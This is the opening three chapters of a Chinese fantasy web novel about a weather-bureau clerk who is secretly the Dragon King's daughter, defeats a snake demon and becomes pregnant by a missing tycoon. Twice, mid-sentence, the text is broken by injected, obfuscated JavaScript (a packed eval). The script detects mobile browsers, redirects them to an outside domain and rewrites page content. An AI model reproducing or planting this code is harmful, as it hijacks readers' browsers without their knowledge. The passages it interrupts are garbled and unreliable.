《上班不如当龙王》 1. 当龙王 01 《上班不如当龙王》 文/前后溪 2025/03/15 下班时间一到,办公室立马热闹了起来。 组长伸了个懒腰,起身走向角落的工位,敲了敲隔板:“恭喜啊小应,最后一班岗顺利结束!” “谢谢组长。”被称为小应的女生抬起头来,柳叶眉,丹凤眼,悬胆鼻,花瓣唇,共同在白皙的肌肤上,勾勒出一张气质古典、端庄英气且毫不流俗的脸。 这种级别的美貌,不施粉黛也极具冲击性,即使已经和她朝夕相处了快一年,组长还是无法幸免,心跳微微加速。 他忍不住道:“真要走啊小应?要不你再考虑考虑,下周一上班前反悔都来得及。” 一个月前,小应——也就是应真潇,向单位递交了辞职信,即将于明天正式离职。 这让同事们十分意外,毕竟,于理来说,他们所在的单位,是气象局下属的人工影响天气办公室,工作内容顾名思义,虽然辛苦但也稳定,收入也不错; 于情来说,组里都是年轻人,氛围和谐欢乐,领导也开明好说话,算是很舒心的工作环境了,应真潇既不是家里出了变故,也没有找到了特别好的下家,何必这么急着走呢? “不考虑了。”应真潇笑着摆摆手:“上班上累了,回家继承家业。” 组长知道她出身孤儿院,只当她开了个玩笑,嘿嘿一笑,不再劝了:“我在大排档定了位置,晚上咱们组一起聚一聚,给你饯行——我请客。” “哪能让组长破费,我请客,感谢大家这两年的照顾。”应真潇说:“等我处理完12345的转办件,咱们就出发去大排档。” 转给气象局的投诉,一般是投诉天气预报不准的,不会转到他们办公室来,组长起了好奇心,绕到她身后看屏幕。 投诉内容是鱼塘水位下降,自来水太贵,要求他们在鱼塘上空下雨。 “……我去。”组长无语:“这里是气象局,又不是龙王庙。” …… 组长定的大排档在一座离岛上,要坐轮渡上来。 轮渡到站后,其他同事先去点菜,交好的女同事拉着应真潇去街上买小吃,逛着逛着,女同事扯了扯应真潇的衣袖,示意她看一个卖可丽饼的小摊。 摊主是个俊秀的年轻人,干活手忙脚乱,被不停催促,满头是汗;可即使已经左支右绌,他仍然不时环视四周,仿佛在警戒什么。 “喏。”女同事努努嘴,玩笑道:“传说中的便衣警察。” 应真潇忍俊不禁,正要回话,脸上却突然感到一阵凉意,像是有水珠落到脸上。 “怎么突然下雨了?天气预报不是说没有雨吗?”女同事抱怨了一句,赶紧拉着应真潇回大排档:“快走快走,不然把吃的淋坏了。” 组长订的位置在二楼,视野开阔,隔着海面,还能清晰看到远处的江城海岸,以及沿海公路上,一串统一涂装,有序驶进邮轮港的大巴车。 组长眯着眼睛辨认了一下:“是远潮集团的车——有钱真好啊,搞团建都能上游轮!” 远潮集团是江城纳税大户,主营业务横跨多个领域,资产估值上千亿,而掌握着远潮集团大部分股份的创始人家族陆家,也因此成为江城最顶级的豪门世家之一。 “比起在游轮上开年会,我还是更羡慕远潮集团的人能经常见到陆雁书真人。”女同事幽幽开口:“能每天见到这么英俊的领导,就是让我年薪百万我也愿意啊!” 应真潇喝了一口酒,好奇道:“陆雁书是谁?” 她自己很少关注八卦新闻,了解热点全靠8G冲浪热爱吃瓜的女同事分享。 “陆家的长孙啊,远潮集团现在的执行总裁。”女同事搜了张照片给她看,感叹道:“又高又帅,家财万贯又才华横溢,上辈子拯救了银河系,才能投个这么好的胎吧!” 应真潇打眼一看,照片上的男人西装革履,高大挺拔,一副剑眉星目的好模样,显出清冷又锐利的气质,无论以多挑剔的眼光来看,也绝对称得上英俊。 “确实不错,是个美男子。”应真潇点点头,唇角勾起愉悦的弧度,帅哥就是赏心悦目。 服务员陆续起菜,众人边吃边喝,气氛热烈。 不久,隔壁桌的男人突然疑惑地喊了一声:“——诶,手机信号怎么没了?” 其他人纷纷拿出手机验证,然后发现,无论是什么厂商和运营商的手机,这会儿竟然都没了信号,人群不由得一阵骚乱。 “奇了怪了……”组长挠挠头,下意识看向陆地的方向,却突然张大了嘴巴:“卧槽,怎么突然这么大的雾?” 被他的话提醒,旁人的注意力也转向了海面,随后发现,整个小岛已经被漆黑的浓雾包围,远处本应清晰可见的灯塔也没了踪影。 在有限的可见程度内,雨越下越大,浓雾不停翻涌,仿佛有什么东西隐藏在雾中,即将吞噬整座岛屿。 岛上其他地方的人应该也发现了情况,骚乱四处爆发,惶恐不安的情绪在整座岛上传导。 突然,一阵突兀的戏曲歌吹声响起,一道凄厉的声音响彻云霄:“杀人啦!”,直接引爆了群众濒临爆发的恐惧情绪,四处都是惊惧的尖叫声。 女同事抱着应真潇的手臂,下意识地瑟缩了一下;应真潇拍了拍她的背,脸色却看不出喜怒。 “还、还挺倒霉……”组长脸色发白,假笑两声:“咱们分头行动,去维持一下秩序吧,再这样下去,我怕形成群体性-事件。小贾,你跟我去看看情况。” 气象局有突发自然灾害时,如何组织群众维持秩序的预案,平时也经常演练;眼前的情况大约不属于自然灾害的范畴,但他们也必须挺身而出。 被组长点到的小贾,是组里的另一位男同事,和组长一样,也是党员,虽然脸色也发白,但并未推脱:“好。” “等等。”应真潇道:“组长,我和你去。” “你?不行不行,你是女同志,你……”组长下意识地摇头,但说着说着,就收了声。 眼前的应真潇神色沉静,看不出丝毫恐惧不安,只有蓄势待发的冷静和不怒自威的庄严,明明和往常没有区别,却突然让他觉得,好像换了个人。 ……就好像,神殿里金刚怒目的神像。 他鬼使神差地改变了主意:“……那好吧,小应,你跟我来。” 事态紧急,容不得众人多想,小贾带着其他同事分头行动,安抚群众维持秩序,而组长则带着应真潇去往尖叫产生的地方——岛中央的仿古戏台。 此时,除了几个倒在地上,生死不知的人,其他人都已经四散奔逃了,在远处拿着手机探头探脑。 应真潇:…… 一生爱看热闹的中国人。 她叹了口气,和组长正要走过去,却突然被一个倒地的青年拽住了腿,竟是可丽饼小哥,他嘴角带血,面如金纸,声音发着抖:“不要过去,里面……里面危险!” 说着,他又哇的一声,吐出一大口血,把应真潇往外推的手不停颤抖:“走……快走!” 他和其他倒地的人,都是崇真观的道士,正在追查两头出逃的蛇妖中的一只,耗时两周,终于在附近发现了蛇妖的踪迹。 他们原本想报信回去,等师门高手来处理,不料那恶妖竟敢冒天下之大不讳,直接对普通人下手,迫不得已,只能出手相抗,拼上性命拖延时间。 然而,恶妖数百年道行,他们只是来侦察的,除了带队的师叔,修为并不高深,拼上性命也只是螳臂当车。 眼看着师兄们气息奄奄,师叔也支撑不住了,可丽饼小哥绝望地推了推应真潇:“快走……告诉大家快走……” 拖一拖……再拖一拖……等师门的人赶到…… 应真潇蹲下,点了点他的额头,语气温和从容:“有我在,不会有事的。” 可丽饼小哥一怔,随即眼前一黑,晕了过去。 “哎,哎?”组长吓得赶紧蹲下来查看他的情况:“同志,同志你没事吧?” 正当此时,一道惊雷劈下,戏台上的帷幕缓缓拉开,露出一道人影。 他踩着一个奄奄一息的中年男子,身着怪异的古代装束,脸上覆盖着骇人的鳞片,一张嘴,吐出一道黑色雾气,尖锐的声音如同裂帛,唱道: “曾盘楚宫啖星斗,也食童子稚骨柔。分明碧海缚蛟客,偏骂我掀浪倾舟!崇真观里香火臭,老道诓我饮雄黄酒。说什么天道好轮回——不过阻我成仙由!” 组长吓得一屁股跌坐在地上,应真潇却站起身,看着戏台上的人,神情冷淡。 “尔等蝼蚁拜三清,怎不拜我鳞下游?当年若容蜕龙骨,早驾雷车碾玉楼!今日掀翻镇山鼎,倒悬沧海洗我仇!掀涛直啮众生喉——且看浪底谁叩首?” 随着他的唱词,海面掀起数米高的巨浪,一波接着一波拍上岛,海风也变得强劲起来,吹得建筑物不停摇晃,岛上尖叫声四起,哭声不绝于耳。 组长吓得面无人色,被蛇妖踩在脚下的中年男人也吐出两声“嗬嗬——”的气音,绝望地闭上双眼。 来不及了,蛇妖已恢复全盛,岛上的人在劫难逃。 众人的恐惧取悦了蛇妖,他露出狞笑,唱腔越发高亢怪异:“且看新鬼叠旧鬼,十万海波葬冕旒。劫灰深处重化龙,狂澜卷灭——日月舟!” 一道惊雷从天而降,将戏台前的一颗两人环抱的巨树劈成两半。 应真潇不为所动,声音淡淡:“唱完了?” 蛇妖古怪的唱腔一滞,伸出长长的信子,似乎有些疑惑。 “那现在,轮到我的回合了。” 说完,应真潇动如脱兔,以能看见虚影的恐怖速度,一举跃上一米多高的戏台,提起蛇妖的衣领,狠狠掼到地上。 “投诉信息已收悉。”她一拳砸向蛇妖面门,带着雷霆万钧之势:“我代表气象局回复如下,未经组织批准,任何人不得私自降雨淹堤。” “——你是畜生也不行。” 蛇妖猛然吐出一口黑血,随后双目圆睁,身体像破布娃娃一样软了下去;随着他死不瞑目,风浪也骤然平息,浓雾散去,灯火通明的江城海岸又出现在了地平线上。 ——龙的力量,小子。 大约所有同事都想象不到,和他们朝夕相处的应真潇,竟然会有如此显赫又玄幻的身世: 东海龙王的爱女,早早位列仙班坐拥一片大泽,日后更是会继承整个东海,即使是在天生超凡的龙族里,也绝对算得上是龙生赢家,天之骄女。 而龙女和他们在同一个屋檐下办公的原因,也是孩子没娘,说来话长。 自二十年前天庭顺应人间发展趋势,改革神仙聘任制度以来,“位列仙班”就只剩下两条途径,按人间的话来说,就是公开招考和特殊人才引进。 前者没什么好说的,主打一个逢进必考,公平公正;后者主要针对龙王这类神仙,现实基础是只有既定的神仙能干 ——普通神仙,甚至普通龙族,怎么管天下水域和水族?管不了,他没这个能力知道吧。 基于现状,天曹考功司开创性地推出了基层调研制度,把等着继承皇位的二代们封锁神力丢到凡间,要求他们以普通人身份,在人间生活、工作,并提交实践报告,合格才能继任。 ——不合格?不合格就老头子接着干咯,反正神仙寿命长,延迟退休也是人间的先进经验嘛。 总之,应真潇就是在这种情况下,响应天庭号召,来到人间实践调研的;而现在,二十年之期已到,东海,你们的龙王回来了! 应真潇拎着蛇妖的衣领,从容起身。 撞到她,算这妖孽踢到混凝土承重墙了。 下辈子投胎注意点。 …… 公安局办公室里。 “怎么能惹出这么大的祸!”书记恨铁不成钢:“要不是气象局的几位小同志挺身而出,天都要塌下来了你知不知道!” 可是转念一想,当时的情况凶险到那等程度,书记又忍不住长叹了一口气:“没出事,真是不幸中的万幸啊!” 崇真观的周观主心有戚戚地叹了口气:“是啊,真是万幸。” 信号恢复后,报警电话立马就被岛上的人打爆了,公安反应迅速,赶来把事故中心的众人带回了派出所——也就是死掉的蛇妖、崇真观众人、组长和应真潇。 周观主匆匆赶来,和各路被惊动的领导解释情况,把门派弟子、应真潇和组长捞了出来,焦头烂额之余,又有些庆幸。 那蛇妖十分凶残,观里不敢轻视,即使是来侦查的小队,身上也带着能靠性命拖住蛇妖一阵子的法器。 可谁料那蛇妖竟然如此凶恶,如果不是应真潇,自己师门的弟子就该殉难了,岛上百姓的性命恐怕也保不住。 思及于此,他忍不住转向一旁的应真潇,斟酌着开口:“还没感谢这位高真出手相助。” 应真潇抬抬手,十分谦虚:“为人民服务,应该的。” 周观主:…… 他咳了一声:“高真境界超然,在下佩服。能否请教高真,师承那支法脉?” 如此厉害的修士,以他的身份,不应该一无所知才对,难道是隐士高人。 “没有师承,自学成才。”应真潇早有准备,她摊开掌心,露出一个小小的扇状玉片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这东西搓个澡就掉一堆,应真潇没觉得有多稀罕,看他顺眼,本想做个顺水人情,但转念一想,自己现在的龙设是人类修士,应该还挺宝贝龙鳞的。 于是她把龙鳞收了起来:“是运气挺好。书记——” 应真潇清了清嗓子,又指了指组长他们所在的方向,暗示道:“我们是市气象局人工影响天气办公室人工降雨三组的。” 书记:…… “知道了,知道了。”他咳了一声:“气象局的同志们在关键时刻挺身而出,保护人民群众的生命财产安全,危难时刻见忠诚,这种无私无畏的精神,值得表扬,值得嘉奖!” 正当此时,书记的秘书进来了,神色焦急额头冒汗,俯身在书记耳边低语几句。 另一条出逃的妖在远潮集团团建的游轮上现身了,现场没有出现伤亡,但远潮集团总裁陆雁书因此落海,现在下落不明。 应真潇倒不是故意偷听,但她现在恢复龙身,耳聪目明的程度人类根本无法想象,这点防备的伎俩完全起不了作用,说的话跟往耳朵里灌一样清楚。 陆雁书失踪了? 应真潇略微沉思。 书记听完汇报脸色大变,加之还有事情的后续亟待处理,与周观主两人分别和应真潇交换了联系方式后,就匆匆忙忙地走了。 应真潇也和自己的同事会和,女同事拉着她左看右看,十分紧张:“潇潇你没事吧?” 今天的事把他们都吓坏了,当时重任在肩没空害怕,事后肾上腺素消退,又看到网上的消息、视频满天飞,越传越骇人,也不由得后怕了起来。 偏巧和应真潇一起去的组长像是创伤应激了,完全想不起发生了什么,又有那么多领导进进出出,看起来事情很大,急得组里的大家像热锅上的蚂蚁。 “没事,就是一个人精神分裂发作,暴起伤人而已。”应真潇拿书记敲定的理由安慰同事:“至于其他的那是巧合,本来海上天气就多变,远离陆地信号也确实不稳定。” 理由确实牵强,但官方也不可能真说有妖怪。 要说,也多亏了应真潇,知道后面长枪短炮对着,诛妖的手段朴实无华,没一点特效镜头,因此网上虽然视频满天飞,但玄学事件的推测还是没能成为主流。 思及于此,应真潇又看了一眼神情茫然的组长,心里说了句抱歉——消除记忆也是为了保护你作为普通人类的世界观啊。 “是这样吗?”女同事将信将疑,但是经此一役身心俱疲,也没有细究:“还好没事。看不出来啊潇潇,你还是个武林高手?” 跳上戏台制服暴徒那一下,行云流水,任谁看了不感慨一句女侠好身手;虽然网上也有人说,应真潇是公务人员,不该对普通人下那么重的手,但女同事还是觉得应真潇打得好。 所幸,人民群众深明大义,把大放厥词的圣母喷得装死跑路。 “随便练练。”应真潇微微一笑:“大学体育课学的。” ——女大学生是这样的,只要有学分干什么都很起劲。 女同事忍俊不禁。 虚惊一场,众人在派出所附近找了个烧烤摊子,说是庆功兼压惊,凌晨两点多才消停。 大家都喝高了,女同事抱着应真潇抹眼泪,她坐应真潇隔壁工位,两人关系最好,还是固定的饭搭子,这会儿不知道多伤心:“潇潇,你以后要常回单位看看啊!要想我们啊!” “嗯嗯,我也想你们。”应真潇扶着她上网约车,笑道:“想我了就往天上看看,如果有积雨云飘过来,就是我来看你们了。” 每一朵积雨云背后,都有一个勤勤恳恳的龙族社畜。 “呸呸呸,童言无忌,大风吹去!”女同事破涕为笑,两人拉扯了一会儿,总算是道了别。 组长还算清醒,主动承担了送女同事回家的任务,临行前,又确认一遍:“小应,真的不用我们送你回去?” “不用。”应真潇摇摇头,在冷白的路灯的照映下,脸颊竟有些异样的潮红,分外……勾人。 组长没由来的有些紧张,不敢再看她,低着头干巴巴道:“那,那你照顾好自己。” 送走同事们,应真潇长舒了一口气。 看着面色如常,但只有她自己知道,自己现在有多难受。 四肢发软,奇异的热流一阵阵的自尾椎骨涌起,扩散到四肢百骸,带来难以言喻的空虚感。 也是一千多岁的成年龙了,没吃过猪肉,总见过猪跑,自然知道这是什么情况——传说中的交衍期,淫……呃,龙性大发的阶段。 龙族的第一次交衍期往往在成年不久后到来,可应真潇和其他龙不一样。 她虽然成年已久,但在千年前的恶蛟之祸中元气大伤,很长时间里,她甚至无法维持清醒,时常陷入沉睡,从未体验过象征着龙族身体健康而成熟的交衍期。 如今身体恢复了许多,又被那蛇妖的液化的妖丹沾染,蛇性奇淫,蛇妖的妖丹本来就是三界知名的□□,那么第一次交衍期到来……倒也不奇怪。 应真潇压下身体的不适,旋身化为龙形,隐入夜空,直奔东海而去。 2. 当龙王 02 夜深人静,但东海的波涛日夜不息。 汹涌的海浪中,竟然有一处海面分外平静,只是漾着静静的波纹。 水面上躺着一个身形高大的男人,阖着双眸,睡颜英俊非凡;一身挺括的西装,严肃板正,只有领口松开,露出红绳项链。 红绳末端坠着一个扇形玉片,正散发着莹莹的光芒;而他的身下并无实物,只是一层淡淡的玉色光晕,仿佛一只小舟托着他,并保护着他不被水侵染。 “嗯……我的味道?”云层中的应真潇被吸引了注意力,显出人形,与在同事们面前迥然不同。 雪白的颈部覆上少许玉色鳞片,竖瞳的青色虹膜呈现出冰冷的金属质感,额上生出双角,并不显得妖异,反而充满非人的神性;但颊边的红霞,又为她平添几分世俗的妩媚。 她落到男人身边,看清楚他的长相后,愣了一下:“陆……雁书?” 如此英俊的男人,令她印象深刻,即使思绪被交衍期的冲动反复拉扯,但还是能轻易对上号。 龙鳞,陆家,远潮集团。 应真潇陷入了沉思。 龙族没有贞操观念,但凭感觉行事,以至于三界中到处流传着龙生九子的传说;应真潇算是一条道德感比较强的龙,但也强得有限。 不过,她挑嘴,不能接受临时找个丑东西凑合。 可眼前的男人分明不是丑东西,甚至颇合她眼缘心意,还恰好受过她的救命之恩。 阴阳和合与修道一样,讲究缘法,既然她正好在交衍期,而他又正好出现,那就说明这是天意,假矜持容易遭天谴。 应真潇立马推翻了自己原本回去找药压制的想法,勾着唇角,拍了拍陆雁书英俊的脸:“陆先生,我盛情邀请你和我共度交衍期,为龙族的壮大做贡献哦。” “救命之恩,”她喃喃道:“以身相许一下也是应该的。” 说完,她抱起陆雁书,沉入海底。 …… 交衍期结束后,应真潇一觉睡了足足一旬,再醒来时,通体说不出来的舒泰。 她双眸半睁,瞬膜翕张间露出青色竖瞳,盘在巍峨水晶柱上的玉色龙躯绕着柱子,懒懒游动,闲适惬意。 见她醒了,龙宫女侍上前行礼,语气古怪:“元君娘娘安。娘娘若是修养好了,就去陛下寝宫看看吧,陛下和王后娘娘,呃,正吵得不开可交呢。” 应真潇:? 她父母一向恩爱,这倒是个稀罕事。 应真潇从柱子上下来,飞往父母寝宫,果然听到里面传来摔打的声音,她抖抖龙须,化为人形走了进去。 “说!”王后往龙王身上扔了一个花瓶:“到底是哪个小妖精!” “孤不知道你在说什么!”龙王闪身一避,冷哼一声:“你怎么这样凭空污龙清白!” 王后语气恨恨:“长生殿昨夜多了一道龙灵之气,不是你个老东西造孽,哪里来的孩子?!” 龙宫的长生殿便是东海龙宫族裔的宗庙,龙灵之气产生,则代表有小龙结胎;消亡,则代表有龙陨落,堪称东海龙口普查之天眼大数据。 夫妇二龙你来我往,却没一拳落到实处;激情互殴的间隙,不忘偷觑应真潇,像是在观察她的反应。 应真潇默了一下,悟了。 ——这其实是父王母后新的角色扮演play,而她也是play的一环。 不能做扫兴的儿女,应真潇深吸一口气,凭借自己在人间二十年的丰富经验,爆发出惊人演技:“父王母后,你们不要再打了!其实孩子是我的!” 按剧本,接下来就该拷问黄毛身份了。 应真潇双臂抱胸,连“孩子他爸才不是什么穷小子”的台词都准备好了,全情投入的龙王夫妇却突然神色古怪地顿住了。 王后一时忘了收力,一拳砸向龙王的脸,后者闪避不及,捂着脸哎哟一声。 这戏都接不上?应真潇啧啧两声,点评道:“父王母后演技有待提高。” 龙王夫妇仍然满脸讪讪,没接上话。 应真潇突然意识到不对,笑容渐渐消失:“不会真是……?” “……是啊。”王后笑得尴尬,小心翼翼地看着她:“我儿,那什么,恭喜你啊,当妈妈了。” 应真潇:……………… 她第一反应是找验孕棒,随即又反应过来,自己已经恢复龙身了,于是内视丹田,果然发现腹部安稳地躺着一团小小的灵气,是尚未成型的龙蛋。 ——不是人龙混血,而是一条纯正的小龙。 应真潇不禁陷入沉思。 所谓龙生九子,龙族生孩子看似容易,但生出来的都是杂龙,纯正的龙裔繁衍并不容易,强于寻常龙族的龙宫族裔繁衍更是困难重重。 她父王母后合籍多年,也只得她一条小龙;而她初经龙事,却一次中招。 更重要的是,一般而言,双亲都是龙,才能生出纯正的小龙;而和她一度春风的对象,是个毫无争议的人类。 电光火石之间,应真潇回想起自己带走陆雁书时,神志不清说的话: “——陆先生,我盛情邀请你和我共度交衍期,为龙族的壮大做贡献哦。” 应真潇:…… 她悟了。 功德在身,又有神籍,她已经不是普通龙了。这事有可能是天道对她功德的报偿,也有可能是因为她身份特殊,言出法随。 凡人孜孜求索,希望万事都符合规律;但在仙界,不符合常理的事情时有发生,大家也都见怪不怪了,正所谓造化弄龙。 想明白其中关窍,应真潇就不再纠结了。 她从来都不是优柔寡断的性格,更何况仙道贵生,新生命的到来是她的因果,焉有逃避的道理。 应真潇结束沉思,满脸淡定:“算了,来都来了。” 龙王夫妇对视一眼,都松了一口气。 “我儿怎么一转眼就这么大了。”王后十分感慨,伸出双手比划:“我还记得你刚出生的时候,才这么点大一个蛋。” 龙王也是十分唏嘘:“是呀,你打小就有主意,还是个蛋的时候就闲不住,整天缠着孤带你去巡海,不答应就骨碌骨碌到处滚,你母后生怕你把自己摇散黄了……” 龙蛋才不会散黄,应真潇哭笑不得,心里却暖洋洋的。 她都一千多岁了,父母还是一直把儿时的轶事挂在嘴边,每次都以“一转眼都这么大了”起手,然后从蛋开始,絮叨到她折角射蛟,最后用“我儿怎么遭了这么大的罪”收尾。 托父母的福,她从小到大的事迹传遍了四海八荒的龙亲戚,又通过龙亲戚传到人类中,导致她成为了神仙中生平相当详尽的一类——情况类似的,一般都是升仙的凡人,生前就是名人。 一家人正聊着天,又有侍者来报,说考功司的使者前来拜谒应真潇。 估计是来通报考校结果的,应真潇不以为意,让侍者把人带来。 “小仙见过元君娘娘,见过龙王陛下,王后娘娘。”来者态度很好,也确实是来通报考校结果的,但不是应真潇想象中的那个结果,而是考校不合格的结果。 应真潇:? 于是考功司使者解释了一番。 此次考校,本来是针对需要继承法统的仙二代的,但因为这是考功司新主管任上第一件大事,天庭各部门纷纷支持,于是一些没有皇位要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447580|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继承的仙家子弟,也被长辈塞进了此次调研活动。 参与人数剧增,对调研结果的评定,采取形式审查加抽查的模式,本来是考功司发起号召,大家云集响应,活动圆满落幕,你好我好大家好的和谐局面,结果被抽查的人掉了链子。 第一个被抽到的就不合格,违规和天上取得联系,务农廿载全靠父亲神力,自己天天在水库边打水漂,还把水库的闸口堵了。 第二个被抽到的是一对双生子,求学期间,因为物理和数学不及格,考大学无望,于是违规和原单位取得联系,在高考中靠运气蒙出了本科。 应真潇:…… 到底是谁,好难猜啊:) 连续抽到两个卧龙凤雏,考功司脸上挂不住,甚至惊动了天曹的大主管东华帝君,怒斥仙家子弟一个个坐卧膏粱,不思进取,简直是天庭之耻。 “东华帝君震怒,要求彻查所有的调研报告,凡与原籍有关系者,一律发回重新调研,牵连者甚广。”使者轻咳一声:“小仙听闻,元君娘娘……在气象局任职。” 应真潇默然。 龙王职责是行云布雨,确实和气象局重合;可她当时去气象局,仅仅是因为好奇之下填报了气象专业,毕业之后又找不到别的工作,并没有利用职务之便啊。 这下被大聪明殃及池鱼了。 “小仙知道,元君娘娘肯定不耻那些旁门左道,只是规定如此,娘娘圣心仁厚,还望率先垂范。”使者拍了一记马屁,又看了周边:“还有一事,请元君娘娘借一步说话。” …… 两天后,应真潇以凡人的身份,回到了江城。 神力被封印,饥饿和疲累的感觉接踵而至,但她没钱,也没地方住——此前,她退租了房子,把银行卡里的大部分余额捐给了慈善机构,剩下的五百,全部用于请同事们吃散伙饭。 连手机,都因为闲置已久,电量耗尽而关机。 走的时候有多潇洒,现在就有多狼狈,应真潇为自己掬了一把辛酸泪,往海滩上亮着灯的地方走去,打算找个地方充电,然后问之前要好的同事借点钱,度过眼前难关。 突然,余光中映入一团深色蜃气,眼球也开始轻微胀痛。 应真潇瞪大眼睛,神情愕然。 他们在凡间调研时,不但没有神力,甚至连对鬼神的感知都没有,相应的,鬼神之事也会无意识地避开他们,就像是天道忽视的尘埃,被隔绝在另一个世界之外。 此前二十余年,应真潇从未见到过任何和玄学有关的征兆或是事件。 而现在,她用肉眼看到了一团蜃气! 小腹轻轻抽了一下,应真潇低头一看,意识到自己现在不是一条龙了,肚子里还有个小崽子,而龙族乃乙木精气所化,是先天之灵,未出世时,也有神通。 ——大号封了,小号还在。 难怪。 不过肉体凡胎到底是肉体凡胎,即使装载外挂,硬件也跟不上,产生身体上的不适。 想起考功司使者在僻静处对她说的话,应真潇微微蹙着眉,忍着眼睛的不适,向雾气弥散的地方走去。 …… 伸手不见五指的浓雾中,海水的腥味越来越近,陆雁锦上牙和下牙打架,欲哭无泪。 身后突然传来一声“你好”,陆雁锦惊惶地转身:“你、你不要过来啊——” 看清眼前的景象,他一下子愣住了。 浓雾不知何时散去了,海滩显露出本来的面貌,明亮的月光下,站着一个高挑的女人,长相貌美但并不流俗,反而带着难以言喻的庄重和英气。 女人拿着手机,礼貌询问:“你好,有充电宝吗?” 3. 当龙王 03 事出反常必有妖,陆雁锦被吓得风声鹤唳草木皆兵,下意识地后退了一步,双臂抱胸,颤声道:“你你你、你是不是人啊?” 来者正是应真潇。 闻言,她默了一下。 虽然听起来像是在骂人,但是应真潇知道,这傻孩子就是字面意思。 “当然是人。”应真潇从手机壳里抽出身份证:“喏,如假包换。” 陆雁锦不敢看,脑子里开始冒乱七八糟的志怪传说,立刻应激了:“我才不看,肯定是蝎子蜈蚣癞□□变的,你、你不要乱来,我认识很多道士,他们不会放过你的!” 应真潇:…… 还挺有反诈意识。 她索性不再自证,开口诵念:“老君曰:大道无形,生育天地;大道无情,运行日月;大道无名,长养万物;吾不知其名,强名曰道。夫道者,有清有浊,有……” 从容温和的声音不疾不徐,隐隐体现出玄妙的韵律,听着听着,陆雁锦惶惶不安的心,不自觉地平静了下来。 等应真潇念完,他松了一口气,感激涕零地看着应真潇:“多谢高人救命!刚才误会你了!” 陆雁锦家里很信这个,连带着他也颇受熏陶,自然知道这是著名道教经典《清静经》,不是一般妖邪之物可以触碰的。 “不客气。”应真潇颔首,上下打量他:“陆雁书是你什么人?” 陆雁锦瞪大眼睛:“高人,这你都算得出来?” 好纯的一个潜在电信诈骗受害者,应真潇微笑:“我见过陆雁书照片。” 眼前的人至少和陆雁书有七分像,只是看着更年轻,眼睛更圆,眼下卧蚕饱满,颊上还有梨涡,唇角微微翘起,和英俊清冷的陆雁书迥然不同,大概是她女同事说的所谓“小奶狗”。 “哦哦,原来如此。”陆雁锦连连点头:“陆雁书是我哥,我是他亲弟弟,我叫陆雁锦。” 应真潇:…… 看着他毫无防备的样子,应真潇突然有点担心肚子里小崽的智商。 也算有缘,她叹了口气,索性帮人帮到底:“说吧,刚才怎么回事。” 陆雁锦自觉逃出生天,正是倾诉欲爆棚的时候,闻言,立马把今晚的事原原本本的说了一遍。 他应邀来参加学姐的沙滩婚前派对,派对进行到一半,他才知道今晚的活动是学姐背着家里安排的。 按照本地传统婚俗,婚嫁必避朔望,否则对新娘不吉利,但按学姐的话说:“家里的老顽固根本不知道这么圆的月亮到底有多出片!” 陆雁锦听完,就莫名觉得心里毛毛的,但学姐不信这个,他也不好多说什么,只是把随身携带的法器信物送给学姐,谎称是新婚礼物。 在那不久之后,他突然发现场地不远处,有个烤鱿鱼小摊,像着了魔一样,心里只有一个念头,就是买烤鱿鱼,于是从人群中跑了出来。 那小摊明明近在咫尺,他却感觉怎么走也走不到,可还是鬼使神差地往前走,等他真正清醒过来的时候,四周都是伸手不见五指的漆黑浓雾,和越来越近的海水腥味。 “我平时都不爱吃烤鱿鱼的啊!”陆雁锦哭丧着脸,想倾诉又怕招来不详的东西,俊秀的脸皱成一张苦瓜:“肯定是被……那什么了,而且那个好厉害,我念咒它都不怕!” 孩子傻归傻,心地倒是善良,应真潇扑哧一笑,安慰他:“没事,带走你的东西没有恶意,而且她已经走了。不信,你回头看。” 回头杀也是经典套路,陆雁锦缩了缩脖子,做好心理建设才小心翼翼地转过头,随后愣在原地。 本以为没离多远的派对场地早已不见了踪影,此时在他的身后,是一座东海龙王庙。 大门虽然紧闭,檐上一排灯笼却彻夜亮着,橘红的光晕照亮了石碑上的字迹:波涛永镇。 ——公安局门口了属于是。 陆雁锦一下子获得了极大的安全感,差点飚出眼泪来了。 “你念的大多是诛邪避祸的咒语,她对你没有恶意,自然不受太多影响。”应真潇解释道,她看得出来,那是个道行不低的蜃精。 经历了大起大落的陆雁锦焉唧唧的:“那,那它搞我干什么啊,就吓唬我玩吗?” “不无可能。精怪玩心重,今夜又是满月之夜,阴气大盛,冒个鬼点子也正常。”应真潇说:“也可能有别的原因,你要是想知道,可以叫人来做个水陆道场,问问情况。” 陆雁锦怏怏地点点头,又问:“高人,我要不要做个法事,去去晦气什么的啊?” 经都念完了还做什么法事,也就是应真潇现在是凡人,换到两个小时前,这一遍《常清静经》都够给他就地点化了。 “不用。回去洗个澡,好好睡一觉就行。”应真潇顿了顿:“对了,你有充电宝吗?” 陆雁锦身上只有手机,打开地图一搜,发现附近是居民区,店铺基本上都歇业了,最近的开张的商业机构是他入住的酒店,提议让应真潇和他回酒店,大堂有充电宝,顺便请应真潇吃顿宵夜。 应真潇问:“不回派对玩了?” “不玩了,没心情。”陆雁锦给同伴发了个消息,没得到回应,估计是喝多了:“而且我本来就觉得心里毛毛的,怕他们笑我胆小,才硬着头皮留在那里的。” 应真潇说:“倒也不用那么害怕。你命格贵重,寻常妖魔鬼怪近不得身,又有法器镇身,一般是不会有事的。” 吉利话人人都爱听,陆雁锦顿时宽慰了不少:“高人,等下你手机充好电,我给你发个大红包,以表谢意!” 应真潇:…… 她陷入沉思,靠玄学赚钱会被考功司判定违规吗? 两人一边聊天,一边往酒店走,在酒店大堂遇到一对身穿红衣,满脸喜色的夫妇,似乎认识陆雁锦:“陆二少,怎么这个时候才回来啊!” 来人正是陆雁锦学姐的父母,看样子,两人对今晚的海滨婚前派对并不知情。 